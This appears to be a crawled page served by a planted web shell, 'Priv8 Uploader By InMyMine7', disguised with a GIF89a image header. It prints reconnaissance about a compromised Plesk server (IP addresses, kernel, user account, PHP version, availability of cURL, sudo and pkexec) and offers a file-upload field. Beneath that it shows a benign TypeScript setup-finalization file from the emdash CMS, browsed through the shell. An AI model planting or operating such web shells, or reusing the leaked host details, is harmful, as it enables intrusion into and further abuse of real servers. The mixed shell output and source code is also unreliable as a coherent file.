GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/api/ |
Upload File : |
/**
* Shared setup completion logic.
*
* Called by OAuth callbacks and the passkey verify step when the first user
* is created during setup. Persists site title/tagline from setup state
* and marks setup as complete.
*/
import type { Kysely } from "kysely";
import { OptionsRepository } from "../database/repositories/options.js";
import type { Database } from "../database/types.js";
/**
* Finalize setup after the first admin user is created.
*
* Reads the setup_state option (written by the setup wizard's step 1),
* persists site_title and site_tagline, then marks setup complete.
*
* Safe to call multiple times — checks setup_complete first and no-ops
* if already done.
*/
export async function finalizeSetup(db: Kysely<Database>): Promise<void> {
const options = new OptionsRepository(db);
const setupComplete = await options.get("emdash:setup_complete");
if (setupComplete === true || setupComplete === "true") return;
// Persist site title/tagline from setup state (stored in step 1)
const setupState = await options.get<Record<string, unknown>>("emdash:setup_state");
if (setupState?.title && typeof setupState.title === "string") {
await options.set("emdash:site_title", setupState.title);
}
if (setupState?.tagline && typeof setupState.tagline === "string") {
await options.set("emdash:site_tagline", setupState.tagline);
}
await options.set("emdash:setup_complete", true);
await options.delete("emdash:setup_state");
}